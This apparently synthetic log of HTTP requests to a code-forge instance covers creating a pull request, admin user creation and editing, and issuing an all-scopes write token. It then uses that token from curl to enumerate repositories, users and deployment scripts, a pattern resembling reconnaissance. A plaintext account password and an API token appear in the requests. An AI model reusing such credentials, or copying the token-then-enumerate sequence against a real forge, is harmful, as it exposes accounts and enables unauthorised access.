{"method": "GET", "target": "/org/acme/dashboard", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/acme", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/avatars/53bce4f1dfa0fe8e7ca126f91b35d3a6", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/acme", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/avatars/f9e66d43eb4888aac5d9d93745661631a09b4c73969226a3e89b2911ece215ba?size=128", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/acme", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/settings/branches", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/settings/hooks", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/settings/units", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/repo/migrate", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/-/packages", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/avatars/f9e66d43eb4888aac5d9d93745661631a09b4c73969226a3e89b2911ece215ba?size=64", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/", "Accept-Encoding: gzip, deflate", "Cookie: session=b7d8a1e4a0871671; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/repo-avatars/f9e66d43eb4888aac5d9d93745661631a09b4c73969226a3e89b2911ece215ba", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/alice/tools/compare/main...python3-migration", "Accept-Encoding: gzip, deflate", "Cookie: session=b7d8a1e4a0871671; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/user/settings/applications/tokens/new", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=890deb73026afc5f; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/avatars/f9e66d43eb4888aac5d9d93745661631a09b4c73969226a3e89b2911ece215ba?size=128", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/alice/tools/compare/main...python3-migration", "Accept-Encoding: gzip, deflate", "Cookie: session=9f3cc5769e87c814; lang=en-US"], "body": ""}
|
|
||||||
{"method": "POST", "target": "/alice/tools/compare/main...python3-migration", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 764", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryaGATihSdXZHYz0ae", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/alice/tools/compare/main...python3-migration", "Accept-Encoding: gzip, deflate", "Cookie: session=9f3cc5769e87c814; lang=en-US"], "body": "------WebKitFormBoundaryaGATihSdXZHYz0ae\r\nContent-Disposition: form-data; name=\"title\"\r\n\r\nMove to python3\r\n------WebKitFormBoundaryaGATihSdXZHYz0ae\r\nContent-Disposition: form-data; name=\"content\"\r\n\r\nPorts the scripts.\r\n------WebKitFormBoundaryaGATihSdXZHYz0ae\r\nContent-Disposition: form-data; name=\"label_ids\"\r\n\r\n\r\n------WebKitFormBoundaryaGATihSdXZHYz0ae\r\nContent-Disposition: form-data; name=\"milestone_id\"\r\n\r\n\r\n------WebKitFormBoundaryaGATihSdXZHYz0ae\r\nContent-Disposition: form-data; name=\"project_id\"\r\n\r\n\r\n------WebKitFormBoundaryaGATihSdXZHYz0ae\r\nContent-Disposition: form-data; name=\"assignee_ids\"\r\n\r\n\r\n------WebKitFormBoundaryaGATihSdXZHYz0ae\r\nContent-Disposition: form-data; name=\"redirect_after_creation\"\r\n\r\n\r\n------WebKitFormBoundaryaGATihSdXZHYz0ae--\r\n"}
|
|
||||||
{"method": "POST", "target": "/-/fetch-redirect", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 37", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/compare/main...python3-migration", "Accept-Encoding: gzip, deflate", "Cookie: session=9f3cc5769e87c814; lang=en-US"], "body": "redirect=%2Falice%2Ftools%2Fpulls%2F2"}
|
|
||||||
{"method": "GET", "target": "/alice/tools/pulls/2", "headers": ["Host: example.com", "Connection: keep-alive", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/compare/main...python3-migration", "Accept-Encoding: gzip, deflate", "Cookie: session=9f3cc5769e87c814; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/issues/2/content-history/overview", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/alice/tools/pulls/2", "Accept-Encoding: gzip, deflate", "Cookie: session=9f3cc5769e87c814; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/assets/css/pull-request-merge-form.08cfd3a0.css", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/alice/tools/pulls/2", "Accept-Encoding: gzip, deflate", "Cookie: session=9f3cc5769e87c814; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/assets/js/pull-request-merge-form.8413f096.js", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/alice/tools/pulls/2", "Accept-Encoding: gzip, deflate", "Cookie: session=9f3cc5769e87c814; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/pulls", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=9f3cc5769e87c814; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/pulls/2", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=9f3cc5769e87c814; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/pulls/2/commits", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=9f3cc5769e87c814; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/pulls/2/files", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=9f3cc5769e87c814; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/assets/css/diff-commit-selector.17df8f29.css", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/alice/tools/pulls/2/files", "Accept-Encoding: gzip, deflate", "Cookie: session=9f3cc5769e87c814; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/assets/js/diff-commit-selector.302a470f.js", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/alice/tools/pulls/2/files", "Accept-Encoding: gzip, deflate", "Cookie: session=9f3cc5769e87c814; lang=en-US"], "body": ""}
|
|
||||||
{"method": "POST", "target": "/user/settings", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 142", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/user/settings", "Accept-Encoding: gzip, deflate", "Cookie: session=9f3cc5769e87c814; lang=en-US"], "body": "name=alice&full_name=Alice+Example&pronouns=&biography=Writes+build+tools.&website=https%3A%2F%2Fexample.com&location=Springfield&visibility=0"}
|
|
||||||
{"method": "POST", "target": "/admin/users/new", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 185", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/admin/users/new", "Accept-Encoding: gzip, deflate", "Cookie: session=9f3cc5769e87c814; lang=en-US"], "body": "_autofill_dummy_username=&_autofill_dummy_password=&login_type=0-0&visibility=0&login_name=&user_name=carol&email=carol%40example.com&password=Qe5-tVb7-Mn3c-Kj8y&must_change_password=on"}
|
|
||||||
{"method": "GET", "target": "/admin/users/4", "headers": ["Host: example.com", "Connection: keep-alive", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/admin/users/new", "Accept-Encoding: gzip, deflate", "Cookie: session=9f3cc5769e87c814; lang=en-US; flash=success%3DThe%2Buser%2Baccount%2B%2522carol%2522%2Bhas%2Bbeen%2Bcreated."], "body": ""}
|
|
||||||
{"method": "GET", "target": "/avatars/d4766e3f21c67b7c786f012d910fa54f?size=128", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/admin/users/4", "Accept-Encoding: gzip, deflate", "Cookie: session=9f3cc5769e87c814; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/admin/users/2/edit", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=9f3cc5769e87c814; lang=en-US"], "body": ""}
|
|
||||||
{"method": "POST", "target": "/admin/users/2/edit", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 265", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/admin/users/2/edit", "Accept-Encoding: gzip, deflate", "Cookie: session=9f3cc5769e87c814; lang=en-US"], "body": "_autofill_dummy_username=&_autofill_dummy_password=&user_name=bob&login_type=0-0&visibility=0&login_name=&full_name=Bob+Example&pronouns=&email=bob%40example.com&password=&language=en-US&website=&location=&max_repo_creation=-1&active=on&allow_create_organization=on"}
|
|
||||||
{"method": "GET", "target": "/admin/users/2", "headers": ["Host: example.com", "Connection: keep-alive", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/admin/users/2/edit", "Accept-Encoding: gzip, deflate", "Cookie: session=9f3cc5769e87c814; lang=en-US; flash=success%3DThe%2Buser%2Baccount%2Bhas%2Bbeen%2Bupdated."], "body": ""}
|
|
||||||
{"method": "POST", "target": "/user/settings/applications/tokens/new", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 241", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/user/settings/applications/tokens/new", "Accept-Encoding: gzip, deflate", "Cookie: session=34fdf904aa90270d; lang=en-US"], "body": "name=build-token&repo_search=&page=1&scope=write%3Aactivitypub&scope=write%3Aadmin&scope=write%3Aissue&scope=write%3Amisc&scope=write%3Anotification&scope=write%3Aorganization&scope=write%3Apackage&scope=write%3Arepository&scope=write%3Auser"}
|
|
||||||
{"method": "POST", "target": "/user/settings/applications/tokens/new", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 254", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/user/settings/applications/tokens/new", "Accept-Encoding: gzip, deflate", "Cookie: session=8ed5d13514629cf4; lang=en-US"], "body": "name=build-token&resource=all&repo_search=&page=1&scope=write%3Aactivitypub&scope=write%3Aadmin&scope=write%3Aissue&scope=write%3Amisc&scope=write%3Anotification&scope=write%3Aorganization&scope=write%3Apackage&scope=write%3Arepository&scope=write%3Auser"}
|
|
||||||
{"method": "GET", "target": "/user/settings/applications", "headers": ["Host: example.com", "Connection: keep-alive", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/user/settings/applications/tokens/new", "Accept-Encoding: gzip, deflate", "Cookie: session=8ed5d13514629cf4; lang=en-US; flash=info%3D518efde244d57864ef12487cdec73aa828e5deaf%26success%3DYour%2Bnew%2Btoken%2Bhas%2Bbeen%2Bgenerated.%2BCopy%2Bit%2Bnow%2Bas%2Bit%2Bwill%2Bnot%2Bbe%2Bshown%2Bagain."], "body": ""}
|
|
||||||
{"method": "GET", "target": "/api/v1/version", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/api/v1/user", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/api/v1/settings/api", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/api/v1/repos/search?q=python3&limit=10", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/api/v1/repos/search?q=powershell", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/api/v1/repos/search?q=.htaccess", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/api/v1/users/search?q=bob", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/api/v1/users/search?q=python3", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/api/v1/repos/issues/search?q=ls%20-la&type=issues", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/api/v1/repos/issues/search?q=build", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/api/v1/repos/alice/tools/issues?state=open&q=python3", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/api/v1/repos/alice/tools/issues?state=all&q=docker-compose.yml", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/api/v1/repos/alice/tools", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/api/v1/repos/alice/tools/branches", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/api/v1/repos/alice/tools/branches/python3-migration", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/api/v1/repos/alice/tools/tags", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/api/v1/repos/alice/tools/contents?ref=main", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/api/v1/repos/alice/tools/contents/.htaccess", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/api/v1/repos/alice/tools/contents/docker-compose.yml", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/api/v1/repos/alice/tools/contents/scripts/install-script.sh?ref=main", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/api/v1/repos/alice/tools/raw/bin/docker-entrypoint", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/api/v1/repos/alice/tools/media/src/process.env.d.ts", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/api/v1/repos/alice/tools/commits?path=scripts/install-script.sh&limit=5", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/api/v1/repos/alice/tools/commits?sha=python3-migration", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/api/v1/repos/alice/tools/git/trees/main", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/api/v1/repos/alice/tools/releases", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/api/v1/repos/alice/tools/pulls", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/api/v1/repos/alice/tools/labels", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/api/v1/repos/alice/tools/milestones", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
|
|
||||||
